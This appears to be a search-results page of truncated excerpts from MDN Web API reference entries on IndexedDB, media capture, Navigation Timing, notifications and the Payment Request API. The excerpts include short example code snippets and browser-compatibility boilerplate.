IDBObjectStore.deleteIndex() - Web APIs
window.indexeddb.open line above //it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what data items the objectstore will contain objectstore.createindex("hours", "hours", { unique: false }); objectstore.createindex("minutes", "minutes", { unique: false }); objectstore.createindex("day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.keyPath - Web APIs
n, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBObjectStore.transaction - Web APIs
ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBTransaction.objectStoreNames - Web APIs
specification specification status comment indexed database api 2.0the definition of 'objectstorenames' in that specification. recommendation indexed database api draftthe definition of 'objectstorenames' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support 48chrome android full support 48firefox android full support yesopera android full support 35safari ios full support yessamsung internet android full support 5.0legend full support full support compatibility unknown compatibility unknown ...
IDBTransaction.abort() - Web APIs
y for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
...on. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBTransaction.commit() - Web APIs
b transaction, ready for adding the data var transaction = db.transaction(["mydb"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
... unitial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 76chrome android full support 76firefox android no support noopera android full support 54safari ios no support nosamsung internet android full support 12.0legend full support full support no support no support ...
IDBTransaction.db - Web APIs
Web › API › IDBTransaction › db
dy for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitlegend full support full support partial sup...
IDBTransaction.error - Web APIs
n. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5 full support 1.5 no support 1.5 — 7.0prefixed prefixed implemented with the vendor prefix: webkitdomexception value instead of domerrorchrome full support 48edge full support ...
... nowebview android full support 48chrome android full support 48firefox android full support 58opera android full support yessafari ios no support nosamsung internet android full support 5.0legend full support full support partial support partial support no support no supportrequires a vendor prefix ...
IDBTransaction.mode - Web APIs
dy for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
.... recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBTransaction.objectStore() - Web APIs
dy for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of opening the transaction transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed: database modification finished.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error. ...
...n. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
IDBVersionChangeEvent - Web APIs
dneeded event), the success event will implement the idbversionchangeevent interface. for a full working example, see our to-do notifications app (view example live.) var note = document.queryselector("ul"); // in the following line, you should include the prefixes of implementations you want to test. ...
...line, you should include the prefixes of implementations you want to test. window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function. ...
...ndow.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function. ...
IDBVersionChangeRequest.setVersion() - Web APIs
ct store. warning: the latest draft of the specification has dropped this method. some not up-to-date browsers still implement this method. the new way is to define the version in the idbdatabase.open() method and create and delete object stores in the onupgradeneeded event handler associated with the returned request. syntax idbversionchangerequest setversion ([treatnullas=emptystring] in domstring version); example tbd parameters version the version to store in the database. returns idbversionchangerequest the request to change the version of a database. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull requ...
...nge the version of a database. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.deprecated. not for use in new websites. ...
IDBVersionChangeRequest - Web APIs
er for the blocked event. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...port nowebview android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nosetversion deprecatednon-standardchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not...
IIRFilterNode() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... android full support 55notes full support 55notes notes before version 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
...fault values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
KeyboardEvent() - Web APIs
"location", optional and defaulting to 0, of type unsigned long, that sets the value of keyboardevent.location. ...
... "location", optional and defaulting to 0, of type unsigned long, that sets the value of keyboardevent.location. ...
... "location", optional and defaulting to 0, of type unsigned long, that sets the value of keyboardevent.location. "ctrlkey", optional and defaulting to false, of type boolean, that sets the value of keyboardevent.ctrlkey. ...
LocalFileSystem - Web APIs
ker objects. basic concepts this section includes a few key concepts for the methods. creating new storage you request access to a sandboxed file system by calling window.requestfilesystem(). the argument of a successful callback is the filesystem object, which has two properties: the name and root of the file system. you can call the method more than once if you want to create two file systems: one that's temporary and one that's persistent. (to learn more about the storage types, see the basic concepts article.) in most cases, you need to create only one file system, but in a few cases, it might be useful to create a second one. for example, if you were to create a mail app, you might create a temporary storage for caching assets (like images and attachments) to speed up performance, ...
...back // and the last one is the error callback // for denial of access and other errors. window.requestfilesystem(window.persistent, 1024*1024,oninitfs,errorhandler); method overview void requestfilesystem (in unsigned short type, in unsigned long long size, in filesystemcallback successcallback, in optional errorcallback errorcallback); void resolvelocalfilesystemurl (in domstring url, in entrycallback successcallback, in optional errorcallback errorcallback); constants constant value description temporary 0 transient storage that can be be removed by the browser at its discretion. persistent 1 storage that stays in the browser unless the user or the app expunges it. the user must grant permission befor...
...the following code: exception description security_error the application does not have permission to access the file system interface. for example, you cannot run from file://. for more details, see the article on basic concepts. resolvelocalfilesystemurl() lets you look up the entry for a file or directory with a local url. void resolvelocalfilesystemurl( in domstring url, in entrycallback successcallback, in optional errorcallback errorcallback ); parameters url the url of a local file in the file system. successcallback the success callback that is called when the browser provides the file or directory for the supplied url. errorcallback the error callback that is called when errors happen or when the request to obtain the entry object is ...
MediaDeviceInfo.groupId - Web APIs
candidate recommendation initial definition. ...
... candidate recommendation initial definition. ...
... candidate recommendation initial definition. ...
MediaDeviceInfo.kind - Web APIs
the kind readonly property of the mediadeviceinfo interface returns an enumerated value, that is either "videoinput", "audioinput" or "audiooutput". syntax var kind = mediadeviceinfo.kind value a domstring. specifications specification status comment media capture and streamsthe definition of 'kind' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
...n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...able through the adapter.js polyfillfirefox android full support 39opera android no support nonotes no support nonotes notes this property can be used in opera by using the adapter.js polyfill.safari ios no support nosamsung internet android full support 6.0notes full support 6.0notes notes for earlier versions, this interface is available through the adapter.js polyfilllegend full support full support no support ...
MediaError.message - Web APIs
if no specific details are available, this string is empty. ...
...if no specific details are available, this string is empty. ...
...if no specific details are available, this string is empty. ...
MediaKeyMessageEvent() - Web APIs
options options are as follows: messagetype: a developer-defined message type that allows applications to differentiate messages without parsing them. ...
...ontent decryption module. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental.
MediaSession.playbackState - Web APIs
the value may be one of the following: none the browsing context doesn't currently know the current playback state, or the playback state is not available at this time. paused the browser's media session is currently paused. playback may be resumed. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yessafari ? webview android no support nochrome android full support 57firefox android no support noopera android no support nosafari ios ? ...
MediaStream.getTracks() - Web APIs
objects. example navigator.mediadevices.getusermedia({audio: false, video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; // stop the stream after 5 seconds settimeout(() => { const tracks = mediastream.gettracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'gettracks()' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafarian...
... initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
MediaStreamConstraints.audio - Web APIs
-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain an audio-only ...
...-top: 20px; border: 1px solid black; width: 160px; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ audio: { samplesize: 8, echocancellation: true } }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click eve...
...s per sample instead of the more common 16 bits (possibly as a bandwidth saving measure). as long as an audio input device is available and the user allows it to be used, an audio track will be included in the resulting stream, and it will match the specified constraints as well as possible. result specifications specification status comment media capture and streamsthe definition of 'mediastreamconstraints.audio' in that specification. candidate recommendation initial specification. ...
MediaStreamConstraints.video - Web APIs
video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: true }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain a video-only...
...video { margin-top: 20px; border: 1px solid black; } .button { cursor: pointer; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let videoelement = document.getelementbyid("video"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { navigator.mediadevices.getusermedia({ video: { width: 160, height: 120, framerate: 15 } }).then(stream => videoelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handle...
...le to 160x120 pixels, and whose frame rate is as close to 15 frames per second as possible. as long as a video input device is available and the user allows it to be used, a video track will be included in the resulting stream, and it will match the specified constraints as well as possible. result specifications specification status comment media capture and streamsthe definition of 'mediastreamconstraints.video' in that specification. candidate recommendation initial specification. ...
MediaStreamTrack - Web APIs
is disabled, that is not rendering the media source stream but silence and blackness. if the track has been disconnected, this value can be changed but has no more effect. note: you can implement standard "mute" functionality by setting enabled to false. the muted property refers to a condition in which there's no media because of a technical issue. mediastreamtrack.id read only returns a domstring containing a unique identifier (guid) for the track; it is generated by the browser. mediastreamtrack.isolated read only returns a boolean value which is true if the track is isolated; that is, the track cannot be accessed by the document that owns the mediastreamtrack. this happens when the peeridentity property is set, or if the track comes from a cross-origin source. mediastreamtrack.
...ntifier (guid) for the track; it is generated by the browser. mediastreamtrack.isolated read only returns a boolean value which is true if the track is isolated; that is, the track cannot be accessed by the document that owns the mediastreamtrack. this happens when the peeridentity property is set, or if the track comes from a cross-origin source. mediastreamtrack.kind read only returns a domstring set to "audio" if the track is an audio track and to "video", if it is a video track. it doesn't change if the track is deassociated from its source. mediastreamtrack.label read only returns a domstring containing a user agent-assigned label that identifies the track source, as in "internal microphone". the string may be left empty and is empty as long as no source has been connected. whe...
...t to the track when data becomes available again, ending the muted state. also available through the onunmute event handler property. specifications specification status comment identity for webrtcthe definition of 'isolated tracks' in that specification. candidate recommendation additional properties for isolated track support media capture and streamsthe definition of 'mediastreamtrack' in that specification. candidate recommendation initial definition ...
MediaStreamTrackAudioSourceNode - Web APIs
the audio itself might be input from a microphone or other audio sampling device, or might be received through a rtcpeerconnection, among other posible options. a mediastreamtrackaudiosourcenode has no inputs and exactly one output, and is created using the audiocontext.createmediastreamtracksource() method. ...
...usermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 1000; biquadfilter.gain.value = range.value; // connect the audiobuffersourcenode to the gainnode // and the gainnode to the destination, so we can play the // music and adjust the ...
...so playing/pausing the stream can still be done through the media element api and the player controls. specification specification status comment web audio apithe definition of 'mediastreamtrackaudiosourcenode' in that specification. working draft ...
MediaTrackConstraints.deviceId - Web APIs
the mediatrackconstraints dictionary's deviceid property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the deviceid constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. ...
...constraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var constraintsobject = { deviceid: constraint }; constraintsobject.deviceid = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) device ids which are acceptable as the source of media content. device ids are unique for a given origin, and are guaranteed to be the same across browsing sessions on the same origin. however, the value of the deviceid is determined by the source of the track's content, and there's no particular format mandated by the speci...
...le calls to getusermedia(). an exception to the rule that device ids are the same across browsing sessions: private browsing mode will use a different id, and will change it each browsing session. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification. candidate recommendation initial specification. ...
MediaTrackConstraints.facingMode - Web APIs
the mediatrackconstraints dictionary's facingmode property is a constraindomstring describing the requested or mandatory constraints placed upon the value of the facingmode constrainable property. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. ...
...traints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var constraintsobject = { facingmode: constraint }; constraintsobject.facingmode = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) facing modes are acceptable for a video track. an exact value in this case indicates that the specified facing mode is specifically required; for example: var constraints = { facingmode: { exact: "user" } }; this indicates that only a user-facing camera is acceptable; if there is no user-facing camera, or the user declin...
...era aimed toward the user but over their left shoulder. "right" the video source is facing toward the user but to their right, such as a camera aimed toward the user but over their right shoulder. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification. candidate recommendation initial specification. ...
MediaTrackSettings.deviceId - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.deviceid property you provided when calling either getusermedia(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints(). ...
...tedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var deviceid = mediatracksettings.deviceid; value a domstring whose value is an origin-unique identifier for the track's source. this id is valid across multiple browsing sessions for the same origin and is guaranteed to be different for all other origins, so you can safely use it to request the same source be used for multiple sessions, for example. the actual value of the string, however, is determined by the source of the track, and there is no gua...
...amtrack.applyconstraints(). an exception to the rule that device ids are the same across browsing sessions: private browsing mode will use a different id, and will change it each browsing session. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification. candidate recommendation initial specification. ...
MediaTrackSettings.facingMode - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.facingmode property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediadevices.getsupportedconstraints(). ...
...straints.facingmode as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var facingmode = mediatracksettings.facingmode; value a domstring whose value is one of the strings in videofacingmodeenum. videofacingmodeenum the following strings are permitted values for the facing mode. these may represent separate cameras, or they may represent directions in which an adjustable camera can be pointed. "user" the video source is facing toward the user; this includes, for example, the front-facing camera on a smartphone. "environ...
...era aimed toward the user but over their left shoulder. "right" the video source is facing toward the user but to their right, such as a camera aimed toward the user but over their right shoulder. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification. candidate recommendation initial specification. ...
MediaTrackSettings.groupId - Web APIs
this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.groupid property you provided when calling either getusermedia(). if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints(). ...
...portedconstraints.groupid as returned by a call to mediadevices.getsupportedconstraints(). however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with. because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property. syntax var groupid = mediatracksettings.groupid; value a domstring whose value is a browsing-session unique identifier for a group of devices which includes the source of the track's contents. two devices share the same group id if they belong to the same physical hardware device. for example, a headset has two devices on it: a microphone which can serve as a source for audio tracks and a speaker which can serve as an output for audio. the group id is not ...
...vices from the same group (or that they don't use devices from the same group). there is no situation in which the groupid is useful when calling applyconstraints(), since the value can't be changed. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification. candidate recommendation initial specification. ...
Media Capabilities API - Web APIs
ether playback should be smooth and power efficient, with real time feedback about playback to better enable adaptive streaming, and access to display property information. examples detect audio file support and expected performance this example defines a audio configuration then checks to see if the user agent supports decoding that media configuration, and whether it will perform well in terms of smoothness and power efficiency. if ('mediacapabilities' in navigator) { const audiofileconfiguration = { type : 'file', audio : { contenttype: "audio/mp3", channels: 2, bitrate: 132700, samplerate: 5200 } }; navigator.mediacapabilities.decodinginfo(audiofileconfiguration).then(result => { console.log('this configuration is ' + (r...
...ers can ensure each user is getting the best bitrate and storage savings for their browser, device, and os capabilities. whether a device uses hardware or software decoding impacts how smooth and power efficient the video decoding is and how efficient the playback will be. the media capabilities api enables determining which codecs are supported and how performant a media file will be both in terms of smoothness and power efficiency. the media capabilities api provide more powerful features than say mediarecorder.istypesupported() or htmlmediaelement.canplaytype(), which only address general browser support, not performance. the api also provides abilities to access display property information such as supported color gamut, dynamic range abilities, and real-time feedback about the playba...
...to enable adaptative streaming to alter the quality of content based on actual user-perceived quality, and react to a pick of cpu/gpu usage in real time. media capabilities interfaces mediacapabilities provides information about the decoding abilities of the device, system and browser based on codecs, profile, resolution, and bitrates. the information can be used to serve optimal media streams to the user and determine if playback should be smooth and power efficient . mediacapabilitiesinfo the interface of the promise returned by the mediacapabilities's encodinginfo() and decodinginfo() methods; returning whether the media configuration tested is supported, smooth, and powerefficient. screencolorgamut will describe the color gamut, or the range of color, the screen can display...
Using Navigation Timing - Web APIs
unlike other tools or libraries, the navigation timing api lets you gather information that only the browser can provide at a level of accuracy much improved over other techniques. it also offers the advantage of being able to provide timing information as perceived by the user rather than data that has no correlation to what the user experiences. ...
...le as obtaining the performance object using window.performance and looking up what you need within the object returned. for example, to measure the perceived loading time for a page: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; document.queryselector(".output").innertext = loadingtime + " ms"; }, false); this code, executed when the load event occurs, subtracts from the current time the time at which the navigation whose timing was recorded began (performance.timing.navigationstart), and outputs that information to the screen by inserting it into an element. html <div class="output"> </div> css .output { border: 1px solid #bbb; font: 16px "open sans", "helvetica", "arial", ...
...s provided by the performance.navigation property, which returns a performancenavigation object that includes the needed information. let's add this information to the example above. ...
Notification.Notification() - Web APIs
ngs that you want to apply to the notification. the possible options are: dir: the direction in which to display the notification. ...
... icon: a usvstring containing the url of an icon to be displayed in the notification. ...
... icon: a usvstring containing the url of an icon to be displayed in the notification. image: a usvstring containing the url of an image to be displayed in the notification. data: arbitrary data that you want associated with the notification. this can be of any data type. ...
PaymentRequest.prototype.id - Web APIs
Web › API › PaymentRequest › id
-order-123-12312 the id is then also available in the paymentresponse returned from the show() method, but under the requestid attribute. const response = await request.show(); console.log(response.requestid === request.id); // and in serialized form too const json = response.tojson(); console.log(json.requestid,response.requestid, request.id); syntax var id = paymentrequest.id value a domstring. specifications specification status comment payment request apithe definition of 'id' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and...
...n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentRequest.onshippingoptionchange - Web APIs
'international shipping'; shippingoption.amount.value = '10.00'; details.total.amount.value = '65.00'; // shipping to elsewhere is unsupported } else { // empty array indicates rejection of the address details.shippingoptions = []; return promise.resolve(details); console.log(details.error); } // hardcode for simplicity if (details.displayitems.length === 2) { details.displayitems[2] = shippingoption; } else { details.displayitems.push(shippingoption); } details.shippingoptions = [shippingoption]; return promise.resolve(details); })(details, request.shippingaddress)); }); specifications specification status comment payment request apithe definition of 'onshippingoptionchange' in ...
...n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
PaymentResponse.complete() - Web APIs
ethod complete() of the payment request api notifies the user agent that the user interaction is over, and causes any remaining user interface to be closed. this method must be called after the user accepts the payment request and the promise returned by the paymentrequest.show() method is resolved. syntax completepromise = paymentrequest.complete(result); parameters result optional a domstring indicating the state of the payment operation upon completion. it must be one of the following: success the payment was successfully processed. the user agent may or may not present some form of "payment successful" indication to the user. fail the payment was not successfully processed. the failure may or may not be announced to the user by the user agent, depending on its design...
...n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
PaymentResponse.requestId - Web APIs
the requestid read-only property of the paymentresponse interface rreturns the free-form identifier supplied by the paymentresponse() constructor by details.id. syntax var id = paymentrequest.id value a domstring. specifications specification status comment payment request apithe definition of 'requestid' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. ...
...n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). ...
PaymentResponse.shippingAddress - Web APIs
browser compatibility the compatibility table on this page is generated from structured data. if y...
...on initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessamsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature. ...
PaymentResponse.shippingOption - Web APIs
browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compa...
...n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
